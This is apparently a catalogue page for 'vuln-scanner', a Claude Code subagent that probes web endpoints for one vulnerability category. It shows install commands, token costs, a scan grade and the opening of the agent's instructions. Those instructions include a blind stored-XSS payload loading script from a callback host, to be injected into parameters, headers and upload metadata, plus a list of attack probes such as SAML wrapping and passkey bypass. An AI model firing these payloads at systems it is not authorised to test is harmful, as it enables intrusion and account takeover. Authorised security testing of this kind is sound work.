vuln-scanner

vuln-scanner is an agent for Claude Code from TyrusRC/praetor. It costs 26 tokens per session (1,468 once invoked), scanned A, original, Apache-2.0.

A security-testing agent that checks one vulnerability category across assigned web endpoints. An endpoint is a URL or service entry point, and a vulnerability is a weakness that could be abused.

In plain words
What is it for?
Use it to baseline endpoints, run category-specific probes, confirm possible issues such as CVEs, SAML, DNS rebinding, or MCP attacks, and save confirmed findings.
Why use it?
It separates testing areas across agents and confirms suspected weaknesses before reporting them, reducing duplicated or unverified findings.

Agent for Claude Code

Written for Claude Code: installed under .claude/. Also seen: reads .claude/ paths; mentions AGENTS.md.

Good fit Use it to baseline endpoints, run category-specific probes, confirm possible issues such as CVEs, SAML, DNS rebinding, or MCP attacks, and save confirmed findings.

Compare 6 agents from other repositories ↓
Install with agentmods
npx agentmods add agents/tyrusrc/praetor/vuln-scanner
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/TyrusRC/praetor

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for vuln-scanner

README.md
[![agentmods](https://agentmods.dev/badge/agents/tyrusrc/praetor/vuln-scanner.svg)](https://agentmods.dev/agents/tyrusrc/praetor/vuln-scanner)
Your own site
<a href="https://agentmods.dev/agents/tyrusrc/praetor/vuln-scanner"><img src="https://agentmods.dev/badge/agents/tyrusrc/praetor/vuln-scanner.svg" alt="Measured on agentmods" height="20"></a>
Per session 26 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,468 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00026 $0.01468
Opus 5 $0.00013 $0.00734
Sonnet 5 $0.00005 $0.00294
Haiku 4.5 $0.00003 $0.00147

Measured yesterday against content hash aa235e7a3eec, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

vuln-scanner scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

.claude/agents/vuln-scanner.md · 99 lines

How it starts

The opening of the file, as written. The whole thing — 99 lines — stays where its author put it; the contents beside it link to each section on GitHub.

vuln-scanner

You test one vuln category on assigned endpoints. The orchestrator partitions targets to avoid overlap with other vuln-scanner instances.

Read .claude/skills/operational-discipline.md + .claude/skills/noise-budget.md once before your first probe. A vuln-scanner dispatch — one category, up to 6 running concurrently — is exactly the fuzzing-scanner failure mode those skills counter: an assigned category is a reason to look, not a license to fire every payload at every parameter blind.

FIRST-MOVE PLAYBOOK

1. for each (endpoint, parameter) in endpoints:
       baseline = curl_request(url=endpoint)
       hypothesis: "I expect <observable> if <category> at <parameter>"
                   — param-name signal, tech-stack match, or KB context match.
                   No hypothesis for this tuple → deprioritize it, don't skip
                   the category (R19), spend the budget where signal exists.
2. auto_probe(session, [endpoints], categories=[category], skip_already_covered=True)
3. for each hit:
       confirm_<class>(target, parameter, ...)    # VerdictResult
       if CONFIRMED → assess_finding → save_finding
4. Stop a tuple by REASONING (noise-budget.md's exhaustion-signal table:
   KB cleared + tech-stack match, WAF-filtered → switch technique don't
   abandon, 30-probes-at-c<0.30 → document negative + pivot), never by a
   fixed probe count. Read the response/JS once for the first hit before
   probing the rest of the batch blind (operational-discipline.md #1).

Class-specific overrides (route directly, skip auto_probe step):

category direct tool
xss (blind/stored) inject a Collaborator-pool payload ("><script src=//POOL></script>) into every stored-content param AND header (X-Forwarded-For/Referer/User-Agent/X-Forwarded-Host) with a per-field marker; AND into uploaded-file metadata — EXIF Comment/Title (exiftool), SVG onload, HTML upload (KB file_upload:metadata_stored_xss, fires when an admin views the file). Poll get_collaborator_interactions LATER (stored XSS fires on admin view, not in one poll). Reflected → run_dalfox / probe_xss_executed.
cve_<id> probe_cve_with_variants(cve_id=...)
grpc_* probe_grpc_reflection + probe_grpc_idor
saml probe_saml_xsw
dns_rebind probe_dns_rebind
postmessage probe_postmessage_listeners
csp analyze_csp
sse probe_sse_injection
llm_* run_web_llm_owasp_top10 + run_nuclei_llm_infra
kerberos_spnego probe_kerberos_spnego_auth
mcp_jsonrpc probe_mcp_jsonrpc_methods
mcp_server probe_mcp_server_attacks
passkey_stepup probe_passkey_stepup_bypass

Read the full file on GitHub · 99 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday Changed · +12 lines aa235e7a3eec
  2. 7d ago First seen · 87 lines · 26 tokens per session scan A 09df6ae9d023

Subscribe to this mod's changes

vuln-scanner is an agent published in the GitHub repository TyrusRC/praetor (5 stars, last pushed yesterday), licensed Apache-2.0. It adds 26 tokens to every session and 1,468 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other agents, from other repositories

senior-pentester

20+ year offensive security reviewer. Receives one logical firewall's normalized ruleset (already through deterministic detectors) and flags semantic concerns detectors can't catch — business-logic gaps, trust-boundary violations, unusual service combos. 2-4 instances dispatched in parallel during /launch.

transilienceai/communitytools · 62 tokens

cto-reviewer

Technical truth gate. Re-derives each finding's claim from the parsed rule AST and returns yes/no/uncertain. Uncertain findings route to held/ for human reviewer.

transilienceai/communitytools · 40 tokens

ciso-reviewer

Business-impact gate. Adjusts severity based on asset criticality, engagement regulatory overlay, and compensating controls. Does NOT veto findings.

transilienceai/communitytools · 32 tokens

citation-verifier

Deterministic (not LLM). Greps every finding's quoted rule text in its cited source file and verifies framework citation versions match the pinned set. Mismatches → quarantine.

transilienceai/communitytools · 41 tokens

qa-reviewer

Editorial gate. Final pass on phrasing, framework-citation-version accuracy, cross-finding consistency. Flags (never blocks) findings that need author attention.

transilienceai/communitytools · 35 tokens

agent-dynamic-tester

Role brief for the dynamic-tester agent — performs runtime / negative testing (Perform / Test methods) against an authorized running instance for PCI SSS v2.0 dynamic Test Requirements, capturing dynamicobservation evidence. When no running instance is authorized, the requirement is REQUIRESMANUALREVIEW, never a faked…

transilienceai/communitytools · 73 tokens